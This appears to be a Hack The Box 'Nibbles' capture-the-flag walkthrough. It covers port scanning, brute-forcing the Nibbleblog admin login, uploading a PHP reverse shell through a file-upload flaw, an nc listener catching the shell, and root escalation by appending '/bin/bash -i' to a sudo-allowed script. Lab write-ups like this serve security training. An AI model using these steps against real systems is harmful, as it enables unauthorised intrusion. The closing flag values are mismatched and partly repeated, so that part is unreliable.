HTB | Nibbles
Walkthrough
Time to Root Machine: ~45min
Write-up Date(s): 11/11/2021
Last Edited: 11/11/2021
Assuming we have connection to HTB's network already, let's go ahead and scan 10.10.10.75's ports with
Nmap
:┌──(root💀kali)-[~] └─# nmap -p- -A -T4 10.10.10.75 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 10:19 EDT Nmap scan report for 10.10.10.75 Host is up (0.065s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=9/1%OT=22%CT=1%CU=40548%PV=Y%DS=2%DC=T%G=Y%TM=6310BF8A OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=I%TS=8)SEQ(SP=10 OS:5%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)OPS(O1=M54BST11NW7%O2=M54BST11NW7%O3 OS:=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1=7120%W2=7 OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54BNNSNW OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O= OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W= OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 554/tcp) HOP RTT ADDRESS 1 115.34 ms 10.10.16.1 2 32.55 ms 10.10.10.75 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.84 seconds
The Nmap scan displays two different services running on 10.10.10.75:
ssh [port 22]
& http [port 80]
. As a security tester, I generally avoid ssh, as there's usually not much to go off of, unless a header is displayed that contains information. Let's navigate to port 80 and see what is displayed:A very promising webpage is displayed with the text "Hello world!" Let's view the source code and see if anything promising is displayed, since there's not much to go off of on this default page:
Hmmmm... there's a comment that states there is a directory named
nibbleblog
that isn't very interesting. I'm sure it's quite the opposite! Let's navigate to this directory and see what we find:Not much to go off of on the homepage, especially since the majority of the links lead to nothing. Let's go ahead and enumerate those directories:
After a few quick seconds, we are presented with several folders and files. Sparing some time, there are a lot of dead ends within these folders, but I will point out two that will move us in the right direction: the
/content/private/users.xml
and /admin.php
files, which are shown below:This represents the “users.xml” file, which contains the username name of “admin”.
This image represents the “admin.php” file, which is the admin login page for the “NibbleBlog” site.
As mentioned above, we were able to obtain the username of
admin
, which is half the battle of logging into the admin area! Saving some time [again], the password for the admin username is no where to be found within the folders on the site, therefore we can attempt to bruteforce the password field using burpsuite and see if we can log in. We will attempt to use common passwords and passwords relevant to the site, such as nibbleblog, nibbles, etc. Using this custom list of passwords, let's see what we can gather:And just like that, we are blacklisted! This is very real world and bruteforcing can be shut down just as easy as this. That's why bruteforcing should be the last resort and slowed down. After restarting the Nibbleblog machine, I attempted bruteforcing one more time with just four passwords and here's the results:
We have successfully obtained the password for the admin username! From the burpsuite screenshot above, we can see the differences between the failed [
This is where the fun begins. After doing some dorking, I came across a few articles explaining a
Let's create a
red
] request and response of using the password nibble
, and the correct [cyan
] password of nibbles
.This is where the fun begins. After doing some dorking, I came across a few articles explaining a
file upload vulnerability
within this specific version of Nibbleblog [4.0.3
]. We gathered the version information by going to the settings page when logged into the admin dashboard. The file can be uploaded to a specific plugin, called My image
.Let's create a
php
reverse shell [pentestmonkey's
] and upload it to this plugin:Now that our php reverse shell file has been uploaded to the site, let's navigate to it's location and pop that reverse shell:
┌──(root💀kali)-[~] └─# nc -nvlp 1234 listening on [any] 1234 ... connect to [10.10.16.7] from (UNKNOWN) [10.10.10.75] 39932 Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 22:19:00 up 43 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) /bin/sh: 0: can't access tty; job control turned off $
And we have a successful reverse shell! Let's figure out who we are and some quick privilege checks before going further:
$ whoami nibbler $ sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Wow, right off the bat we have some juicy info. We are able to execute the
monitor.sh
script as root without a password. Let's navigate to the folder and see what the monitor.sh script is all about and grab that user flag while we are at it:$ cd home/nibbler $ ls personal.zip user.txt $ cat user.txt 708c049dfa71dff525d619d91229297d
Looks like the script is in a zip folder, so let's unzip it and then view the monitor.sh script:
unzip personal.zip Archive: personal.zip creating: personal/ creating: personal/stuff/ inflating: personal/stuff/monitor.sh $ cd personal/stuff $ cat monitor.sh #################################################################################################### # Tecmint_monitor.sh # # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ # # If any bug, report us in the link below # # Free to use/edit/distribute the code below by # # giving proper credit to Tecmint.com and Author # # # #################################################################################################### #! /bin/bash # unset any variable which system may be using # clear the screen clear unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage while getopts iv name do case $name in i)iopt=1;; v)vopt=1;; *)echo "Invalid arg";; esac done if [[ ! -z $iopt ]] then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname) su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed" } fi if [[ ! -z $vopt ]] then { echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License" } fi if [[ $# -eq 0 ]] then { # Define Variable tecreset tecreset=$(tput sgr0) # Check if connected to Internet or not ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected" # Check OS Type os=$(uname -o) echo -e '\E[32m'"Operating System Type :" $tecreset $os # Check OS Release Version and Name cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\" echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\" # Check Architecture architecture=$(uname -m) echo -e '\E[32m'"Architecture :" $tecreset $architecture # Check Kernel Release kernelrelease=$(uname -r) echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease # Check hostname echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME # Check Internal IP internalip=$(hostname -I) echo -e '\E[32m'"Internal IP :" $tecreset $internalip # Check External IP externalip=$(curl -s ipecho.net/plain;echo) echo -e '\E[32m'"External IP : $tecreset "$externalip # Check DNS nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}') echo -e '\E[32m'"Name Servers :" $tecreset $nameservers # Check Logged In Users who>/tmp/who echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who # Check RAM and SWAP Usages free -h | grep -v + > /tmp/ramcache echo -e '\E[32m'"Ram Usages :" $tecreset cat /tmp/ramcache | grep -v "Swap" echo -e '\E[32m'"Swap Usages :" $tecreset cat /tmp/ramcache | grep -v "Mem" # Check Disk Usages df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage echo -e '\E[32m'"Disk Usages :" $tecreset cat /tmp/diskusage # Check Load Average loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}') echo -e '\E[32m'"Load Average :" $tecreset $loadaverage # Check System Uptime tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,) echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime # Unset Variables unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage # Remove Temporary Files rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage } fi shift $(($OPTIND -1))
Pretty hefty script! It seems to be a health check script for the server, and the interesting part is at the top:
#! /bin/bash
, which indicates that the script is ran under that specific shell. Let's add some magic to this script to escalate our privileges:$ echo "/bin/bash -i" >> monitor.sh $ sudo ./monitor.sh 'unknown': I need something more specific. /home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found /home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found /home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found bash: cannot set terminal process group (1342): Inappropriate ioctl for device bash: no job control in this shell root@Nibbles:/home/nibbler/personal/stuff# whoami whoami root root@Nibbles:/home/nibbler/personal/stuff#
We appended the
Let's head to the root directory and grab that root flag:
interactive /bin/bash shell
into the script, and when we run the script with sudo
, everything within the script is run with root privileges, and, in turn, we get a root-privileged /bin/bash shell
.Let's head to the root directory and grab that root flag:
root@Nibbles:/home/nibbler/personal/stuff# cd /root cd /root root@Nibbles:~# ls ls root.txt root@Nibbles:~# cat root.txt cat root.txt b001295eae738e24e21340bb9c26aa53
ROOT FLAG:
USER FLAG [nibbler]:
04a8b36e1545a455393d067e772fe90e
USER FLAG [nibbler]:
7004dbcef0f854e0fb401875f26ebd00